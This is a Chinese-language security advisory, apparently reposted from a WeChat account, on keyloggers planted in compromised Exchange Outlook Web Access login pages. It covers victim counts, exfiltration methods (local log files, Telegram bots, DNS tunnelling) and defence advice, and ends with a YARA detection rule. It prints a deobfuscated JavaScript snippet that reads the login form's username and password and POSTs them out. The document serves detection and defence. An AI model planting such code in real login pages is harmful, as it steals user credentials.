重点摘要
-
2024年5月,我们报告了一起涉及向受害微软Exchange服务器登录页注入恶意代码的攻击事件。 -
在新的调查中,我们发现了多种类型的键盘记录器,主要分为两大类。 -
到2025年,我们揭露了一系列类似攻击,波及全球25个国家的受害者,涉及我国的大概 10 个。
背景介绍
2024年5月,研究人员首次发现:有攻击者在被入侵的Exchange服务器首页注入了一种未知的键盘记录器。2025年,研究人员,观察到同样的攻击方式再次出现,且原始键盘记录器代码几乎未做修改。通过分析Outlook登录页中的JavaScript代码,并对比受感染页面的源码,团队发现了多处异常,这些异常并不属于标准Exchange Server的认证流程。进一步分析后,发现了更多恶意代码样本。所有发现的键盘记录器大致可以分为两类:
-
将收集到的数据保存为本地文件,可被外部访问; -
直接将收集的数据发送到外部服务器。
本地日志型键盘记录器
工作机制如下:
-
受害者访问Exchange Server认证页面并输入凭证。 -
恶意JavaScript代码读取认证表单数据,并通过XHR请求将数据发送到被攻陷的Exchange服务器上的指定页面(见图2)。 -
目标页面源码中包含一个处理函数,负责读取该请求并将数据写入服务器上的文件(见图3)。 -
该文件可通过外部网络访问,只有攻击者知道确切位置。
恶意代码通常嵌入在合法的clkLgn
认证函数中(见图1),也有情况是放在独立函数中,在数据被发送后才调用clkLgn
。
clkLgn
函数的例子数据发送方式通常为HTTP请求,既可能通过GET参数(见图4),也可能通过POST请求体。
发送XHR请求的目标URL一般为内部页面,这些页面可能本来就是合法页面,被插入了恶意代码,也可能是攻击者单独创建的恶意页面。例如:
-
/owa/auth/lo.aspx -
/owa/auth/getidtokens.aspx -
/owa/auth/error.aspx -
/owa/auth/logon.aspx -
其他
恶意代码通常经过混淆(见图5.1、5.2),以下是去混淆后的示例代码(对应图5.2):
var aes = newDate().toLocaleDateString() + "t" +document.getElementById("username").value + "t" +document.getElementById("password").value;fetch('', {'method': 'POST','body': new URLSearchParams({'Aes': btoa(aes) })});
有些变体还会收集用户Cookie、User-Agent等信息(见图6)。
这种恶意代码为攻击者带来的优势:
-
数据写入本地文件、通过外部访问,远比直接外联看起来隐蔽,检测难度高。 -
代码不包含C2服务器通信指令,难被溯源。 -
攻击者无需固定C2服务器,可任意地点访问窃取的文件,无需协议更新。
外发型键盘记录器
这类窃密工具主要区别体现在以下几个参数:
-
数据外传方式:攻击者可能自建服务器,也可能利用Telegram Bot(见图7、8)等第三方服务(如Discord等)。如图8,攻击者会用 <COMPANY-ID>
做区分,标记被窃凭证所属组织。
-
数据变换方式:如将数据封装成JSON,放在POST请求体内(见图9);或放在HTTP Header(见图10),如
Salt
头(已脱敏)记录Active Directory域名,APIKey
和AuthToken
分别编码存储账号密码。 -
通过DNS隧道传输:如图11所示,
prepare
函数用XOR算法(key为“exchange_default_password”)加密用户数据,再转为16进制,拼接成子域名,结合POST请求外发。
部分攻击者还会利用开放目录,直接存放窃取的凭证文本文件。见图12。
受害者分布
调查期间,全球25个国家约64个受害者被识别出来。受害服务器以政府机构为主(22台服务器),其次为IT、工业、物流企业。
我国大约 10 个受害者着,自查一下吧,文末有YARA 规则。
利用的漏洞
下图列出了受感染服务器中影响较大的微软产品漏洞。
这些漏洞被利用,成为攻击者植入恶意代码的入口。但也有被入侵的服务器并未暴露公开漏洞,说明攻击者可能还利用了其他方式。
总结与建议
大量面向互联网开放的Exchange服务器仍未修补高危漏洞。正如本次研究所示,利用这些漏洞的后果之一,就是攻击者可在认证页面长期隐蔽植入键盘记录器,窃取明文凭证。
通过将恶意代码嵌入合法认证页,攻击者能长时间潜伏,悄无声息地收集用户敏感信息。
防御建议如下:
-
针对关键对外服务器建立漏洞管理流程,定期升级、监控已知漏洞。 -
部署现代Web应用防护系统及恶意流量检测工具。 -
在关键服务器上落地信息安全监控。
检测建议
若怀疑Exchange服务器已遭此类攻击绕过安全监控,可参考如下流程:
-
检查关键认证相关文件完整性,如: C:Program FilesMicrosoftExchange ServerV15FrontEndHttpProxyowaauthlogon.aspx
-
用YARA规则对Exchange Server目录扫描,检测webshell及可疑页面,人工复查被标记文件。也可用公开的YARA规则集。 -
建议开展溯源调查(compromise assessment),系统性评估自身安全状况。
下方给出了可检测上述恶意页面变体的YARA规则:
rule PTESC_exploit_win_ZZ_Exchange__Keylogger__Javascript { strings:$anomaly_func_1 = "XMLHttpRequest"$anomaly_func_2 = "eval"$anomaly_func_3 = "fetch"$anomaly_func_4 = "fromCharCode"$anomaly_func_5 = "$.ajax"$anomaly_func_6 = "atob"$credential_string_1 = "user"$credential_string_2 = "pass"$exclude_strings_1 = "jquery.org/license"$exclude_strings_2 = "captcha"$exclude_strings_3 = "newrelic" condition: any of ($anomaly_func_*) and all of ($credential_string_*) and not all of ($exclude_strings_*)}
原文始发于微信公众号(独眼情报):【预警】Exchange服务器被破坏 Outlook 页面植入恶意代码
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论